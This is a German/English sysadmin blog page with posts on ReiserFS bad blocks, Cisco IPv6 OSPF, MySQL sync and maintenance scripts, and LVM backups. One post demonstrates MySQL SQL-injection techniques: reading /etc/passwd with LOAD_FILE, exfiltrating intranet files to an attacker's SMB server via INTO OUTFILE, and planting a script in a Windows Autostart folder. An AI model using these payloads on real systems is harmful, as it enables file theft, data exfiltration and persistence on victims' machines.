• Jul
  • 21
  • 2011

Reiserfs – Dealing with Bad Blocks

Posted by okami In Howtos | No Comments »

Now, for some odd reason, in reiserfs you have to do the scan for bad blocks manually, instead of just letting fsck take care of it for you with the -c switch. I don’t know why this is the case but here is what I had to do.

Find out your partitions block size. This is 4096 by default in reiserfs but you can use the debugreiserfs command to find out what it is. It’s important for the badblocks command next.

debugreiserfs device | grep -i ‘blocksize’

Run badblocks to scan the drive and store the list of found bad blocks in a file. I’m assuming the blocksize is the default here, if it isn’t replace 4096 with the number given by debugreiserfs.

badblocks -n -b 4096 -o badblocksfile device

Then run reiserfsck to fix the areas where the bad blocks are and mark them to not be used again.

reiserfsck –fix-fixable –badblocks badblocksfile device

Supposedly you can use reiserfstune to just update the bad blocks list without having to run a check and a fix but in may case the bad blocks were already in use in the tree. Reiserfstune made it clear I had to use reiserfsck in the error message.

So, right now I have partimage trying to image the drive. Hopefully with the blocks marked bad it won’t trip up anymore.

  • Aug
  • 01
  • 2010

OSPF Konfiguration IPv6 für Cisco IOS

Posted by okami In Howtos | No Comments »

Aus gegebenem Anlass hier mal ein Beispiel einer OSPF Konfiguration für Cisco IOS. Das ist wirklich relativ einfach. Hier nochmal alle Schritte zum nachvollziehen:

Router1

Router1(config)# interface fastethernet 0/0
Router1(config-if)#ipv6 address 2001:1ad8::1/126

Router2

Router2(config)#int fa 0/0
Router2(config-if)#ipv6 address 2001:1ad8::2/126

Als nächstes überprüfen wir die IPv6-Konnektivität mit ping:

Router2#ping ipv6 2001:1ad8::1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 2001:1AD8::1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 8/10/20 ms

Wie Ihr sehen könnt, die Konnektivität ist da, schauen wir uns nun den OSPF Part an. Als erstes setzen wir eine Nullroute um und konfigurieren OSPF auf Router 1

Router1(config)#ipv6 route 2001:1ad8:500::/64 null 0
Router1(config)# interface fa 0/0
Router1(config-if)#ipv6 ospf 1 area 0
Router1(config-if)#ipv6 router ospf 1
Router1(config-rtr)#redistribute static

Hiermit haben wir das Fastethernet 0/0  Interface in der OSPF Area 0 konfiguriert und redistribuieren statische IPv6 Routen in IPv6 OSPF.

Das ganze wiederholen wir auf dem 2 Router:

Router2(config)#int fastethernet 0/0
Router2(config-if)#ipv6 ospf 1 area 0

Dies enabled FastEthernet 0 / 0 im OSPF-Bereich 0.  Nun  verifizieren wir die IPv6-Router OSPF neighborship

Router2#show ipv6 ospf neighbor
Neighbor ID Pri State Dead Time Interface ID Interface
172.16.1.1 1 FULL/BDR 00:00:31 4 FastEthernet0/0

Wie wir erkennen können, agiert der Router 1 als Backup Designated Router und alle Daten sind geladen (FULL Status).  Prüfe die Route

Router2#sh ipv6 route ospf | include ^O
OE2 2001:1AD8:500::/64 [110/20]

Wir erhalten ein / 64 Netz als externe OSPF Route, alles funktioniert nun wie erwartet.

  • Aug
  • 01
  • 2010

MySQL verteilte Daten

Posted by okami In Datenbanken | No Comments »

Anbei eine kleine Idee für alle, die verteilte Datenhaltung haben, und dazu eine architektonisch recht einfache Synchronisation brauchen. Manchmal kommt aus diversen Gründen ein Replikationsmechanismus nicht in Frage. Dafür nun die folgende Idee. Wir nutzen dabei aus, dass MySQL bei zusammengesetzten Indizes einen AUTO_INCREMENT-Wert pro distinktem Schlüsselpräfix zählt.

Das heißt ganz konkret: Wir legen einen Primär-Schlüssel aus zwei Spalten zusammen. In der ersten Spalte verwenden wir einen sehr kleinen Wert, der die Quelle der Daten kennzeichnet: Source tinyint unsigned NOT NULL; Den zweiten Teil legen wir als einfache ID int unsigned NOT NULL AUTO_INCREMENT an. Und ein Timestamp-Wert bietet sich für das Triggern der Updates an. Unsere Tabellen haben dann mindestens folgende Form:

CREATE TABLE `<table_name>` (
  `Source` tinyint unsigned NOT NULL,
  `ID` int unsigned NOT NULL AUTO_INCREMENT,
  `Timestamp` timestamp,
  PRIMARY KEY (`Source`, `ID`)
);

MySQL wird also die Spalte `ID` pro distinktem Wert der Spalte `Source` inkrementieren. So können wir nun den jeweiligen Applikationen eine eindeutige Source-Kennung zuweisen, z.B. eine Filial-Nummer oder eine Server-Nummerierung. Der Synchronisationsalgorithmus kann dann die jeweiligen Datenbanken zusammentragen, ohne dass es zu Konflikten in den Schlüsseln kommen kann.

Im speziellen Fall “Two-Way-Synchronization“, der zum Beispiel offline- und online-Datenerfassungen abbilden könnte, werden geänderte und neue Datensätze von jeweils einer zur anderen Datenbank geschrieben. In beiden Fällen läuft die Synchronisation mit der jeweiligen Source-Kennung, sodass auch gelöschte Sätze in der Zieldatenbank gefunden und ebenfalls gelöscht werden kann, ohne dass es zu Doppeldeutigkeiten kommt.

  • Jun
  • 10
  • 2010

load_file() spielereien

Posted by okami In Datenbanken, Howtos | 1 Comment »

Da mancher Orts noch das Verständnis fehlt, warum es eben nicht nur ein paar Datensätze betrifft, wenn jemand Zuriff über einen SQL Account hat, möchte ich hier mal kurz aufzeigen welche Möglichkeiten prinzipiell zur Verfügung stehen. Eine sehr schöne und einfache Variante ist mittels load_file() und angeschlossene.

Grundlage ist z.b. folgender Query:

select 1,LOAD_FILE("/etc/passwd");

Wenn man das Ganze in einem SQL Injection verarbeitet, würde unter bestimmten Bedingungen der Browser  dann über die Seite beispielsweise folgendes anzeigen:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

Ok,  da kommt der erste und sagt das File muss Lese- und oder Schreibberechtigungen für Alle oder den Dienst besitzen … hier soll es uns um das Prinzip gehen und ja er hat recht. Im einfachsten Falle suche ich mir bekannte Konfigurationsfiles, .htaccess Dateien etc. und versuche die auszulesen und Butter bei die Fische in 10 von 100 Fällen wird man fündig. Schlampig gesetzte Berechtigungen öffnen einem hier Tür und Tor. Aber an dieser Stelle ist ja noch nicht aller Tage Abend …

select load_file("\\\\[ip | server_name]\\filename");
select 1 INTO OUTFILE "\\\\[ip | server_name]\\filename]";

Sind zwei weitere schöne Möglichkeiten um ans Ziel zu gelangen, im ersteren Falle ziehen wir uns über das SMB Protokoll eine beliebige Datei im zweiten Falle schreiben wir Daten über das SMB Protokoll an einen uns genehmen Platz und hey machen wir uns nichts vor – richtig konfigurierte Firewalls blockieren immer nur den eingehenden Verkehr auf ungenutzten Ports und erlauben immer sämtlichen Verkehr vom Host weg! ;-) Folgendes nicht unalltägliche Beispielszenario: Eine Firma betreibt einen Webserver auf dem Intranet und Webpräsenz zu gleich laufen, sprich ich kann über ein SQL Injection an allen Sicherheitsmechanismen vorbei Daten in das interne Netz schieben oder sie von dort downloaden.

UNION all select 1,2,load_file("\\\\intranet\\filename"),3,4 INTO OUTFILE "\\\\mein_server\\test";

Da höre ich schon wieder den nächsten Quäker, aber ich weiss doch gar nicht welche Netze … doch die MySQL Variablen report_host und oder hostname geben uns Aufschluss, ansonsten sind wir alle schlau genug zu wissen, welche Netze für den privaten Gebrauch reserviert sind. Wir waren gerade beim Netzwerk … da fällt mir doch noch was ein, DNS Abfrage für Datenbänker – host und dig kann jeder. Auch eine Möglichkeit den internen DNS nach Mustern in der Hostvergabe abzufragen um herauszubekommen welche Netze sich in der Tiefe befinden.

select ‘huhu welt.’ INTO OUTFILE ‘\\\\domain.net\\?save.txt’

Eine interessantes Anwendungsbeispiel ist z.B. in das Startverzeichnis eines Windows Host eine .vbs oder .cmd Datei abzulegen …

select ‘msgbox “pew pew”‘ INTO OUTFILE ‘\\\\192.168.0.x\\c$\\Dokumente und Einstellungen\\All Users\\Startmenü\\Programme\\Autostart\\grussundkuss.vbs’;

Ok und wer immer noch nicht genug hat, der läd sich eine Shell oder überschreibt Dateien.

  • Jun
  • 07
  • 2010

MySQL – Shell Script Optimize über alle Tabellen

Posted by okami In Datenbanken | 1 Comment »

Da es keinen Befehl gibt, wo man in allen Datenbanken gleich alle Tabellen optimieren kann, hier mal ein Script zum erleichtern …

#!/bin/bash
for db in $(echo "SHOW DATABASES;" | mysql -u$1 --password=$2 | grep -v -e "Database" -e "information_schema")
do
        TABLES=$(echo "USE $db; SHOW TABLES;" | mysql -u$1 --password=$2 |  grep -v Tables_in_)
        echo "Switching to database $db"
        for table in $TABLES
        do
                echo -n " * Optimizing table $table ... "
                echo "USE $db; OPTIMIZE TABLE $table" | mysql -u$1 --password=$2 >/dev/null
                echo "done."
        done
done
  • Jun
  • 03
  • 2010

MySQL Backup Strategien: LVM-Snapshots

Posted by okami In Datenbanken, Featured, Howtos | No Comments »
MySQL Backup Strategien: LVM-Snapshots

Master  – Slave mit LVM

Vorteile

  • Restorezeit ist wesentlich geringer bei großen Datenbanken und vielen Indexen (abhängig von Lese- und Netzwerggeschwindigkeit).
  • Geringe Ausfallzeit des Servers – keine Ausfallzeit des Arbeitsbetrieb
  • Der Master kann unbeeinträchtigt seine Arbeit vortsetzen.

Nachteile

  • “Eben mal” eine Tabelle oder Daten zurückspielen geht nicht, hierzu müssen wir ein kompletten Restore auf ein weiteres System durchführen, um dort mittels mysqldump die Daten zu extrahieren.

Szenario:

Wir benötigen mindestens 2 MySQL Instanzen die miteinander replizieren, damit verringern wir die Ausfallzeit auf 0. Also jedes beliebige Master – Slave oder Master – Master Szenaria, wobei wir am besten einen Slave für das Backup einrichten. Die Slave Instanz kann sich durchaus, wenn es Plattenplatz, CPU, RAM sowie die IO Werte zulassen, auf dem selben Host befinden. Eine Anleitung wie man eine Replikation aufsetzt findet man hier. Natürlich funktioniert das Ganze auch ohne Replikation, allerdings hat man dann, je nach Datenbank, eine Ausfallzeit von 10s – x Minuten. Wichtig, die my.cnf muss so angepasst werden, dass sich die Daten auf einem Logical Volumen (LVM) befinden. Darüber hinaus benötigen wir in der Volumengroup genügend Restplatz, damit uns der Snapshot nicht während des Backups vollläuft. Hier gibt es keine Faustformel das muss man einfach ausrechnen oder probieren.

In meinen Augen hat es sich relativ nützlich erwiesen die Konfiguration der MySQL Instanz wie folgt aufzugliedern:

  1. Das LV wird in ein Verzeichnis gemountet, beispielsweise /data.
  2. Unterhalb dieses Verzeichnisses werden unterschiedliche Verzeichnisse für binlogs, relaylogs, tmp, data sowie error und slowlog angelegt.

Das vereinfacht das Sichern insofern, dass wir hier nur bestimmte Verzeichnisse wegsichern müssen. Es ist auch keine schlechte Idee auf dem Slave das Binlog zu aktivieren und diese ebenfalls zu sichern (z.B. stündlich), damit wir ein sogenanntes Point in Time Recovery machen können (wird an einem späteren Zeitpunkt abgehandelt). Unsere my.cnf sieht dann an den entsprechenden Punkten wie folgt aus:

relay-log                      = /data/mysql-relaylog/relay.log
relay-log-info-file            = /data/mysql-relaylog/relay-log.info
relay-log-index                = /data/mysql-relaylog/relay-log.index
log_error                      = /data/mysql-log/mysql.err
log-slow-queries               = /data/mysql-log/slow_queries.log
log_bin                        = /data/mysql-binlog/mysql-bin.log
innodb_log_group_home_dir      = /data/mysql-data
innodb_log_arch_dir            = /data/mysql-data
innodb_data_home_dir           = /data/mysql-data
datadir                        = /data/mysql-data

Für den Fall, dass wir einen weiteren Slave oder Master wieder herstellen müssen, benötigen wir noch die Postion und das Binlogfile, damit wir die Replikation an diesem Punkt wieder aufsetzen können. Im Prinzip gehen wir im weiteren wie folgt vor: wir stoppen den MySQL Dienst, dann ermitteln wir Binlog File und Position des Masters, legen einen Snapshot an, starten den MySQL Dienst und dann können wir das Backup vom Snapshot starten. Das Vorabscript für den Backup Dienst könnte wie folgt aussehen – bitte beachten, die Pfade und Variablen an die eigene Umgebung anpassen (Volumen und Volumengroupbezeichnungen zum Beispiel).

#!/bin/sh
# Groesse des Snapshots
GROESSE=20G

# Name des Snapshot
NAME=mysql-backup

# Geraetedateiname
# hier das LVS anpassen
GERAET=/dev/db/data

# Mount-Punkt
MOUNT=/backup

# Spiegelgeraet
SPIEGEL=/dev/db/mysql-backup
# Stoppe Datenbank
echo
echo "Shutting down lively database  `date`"
echo
/etc/init.d/mysql stop

#gegebenen Fall diesen Wert anpassen, wenn die Datenbank länger braucht
sleep 3

# Erzeuge Restore Daten für Master - Master
name=$(tail -1 /data/mysql-binlog/mysql-bin.index)
size=$(stat -c '%s' ${name})
echo "binlog Position $name $size" > /data/mysql-data/db_restore.info

# Erzeuge Spiegel
lvcreate --size $GROESSE --snapshot --name $NAME $GERAET
ERGEBNIS1=`echo $?`

if [ $ERGEBNIS1 -ne 0 ]; then
echo
echo
echo "  -- F E H L E R -- "
echo
echo "  Starte Datenbank ohne Backup `date`"
echo
echo
/etc/init.d/mysql start
exit 22
fi

sleep 3

# starte Mysql wieder

echo
echo "Restarting lively database  `date`"
echo
/etc/init.d/mysql start

# pruefe auf mount und mounte Spiegel oder exit

mount | grep /backup
ERGEBNIS2=`echo $?`

if [ $ERGEBNIS2 -eq 0 ]; then
echo
echo
echo "  -- F E H L E R -- "
echo
echo "   Der Mount besteht bereits"
echo
echo
exit 23
else
mount -o ro $SPIEGEL $MOUNT
fi

exit 0

Das Resultat an dieser Stelle sollte ein Read only eingemounteter Snapshot unter /backup sein. Dem Backup Programm weisen wir jetzt nur noch an, die Verzeichnisse:

/backup/mysql-data
/backup/mysql-relaylog

zu sichern.

Kategorien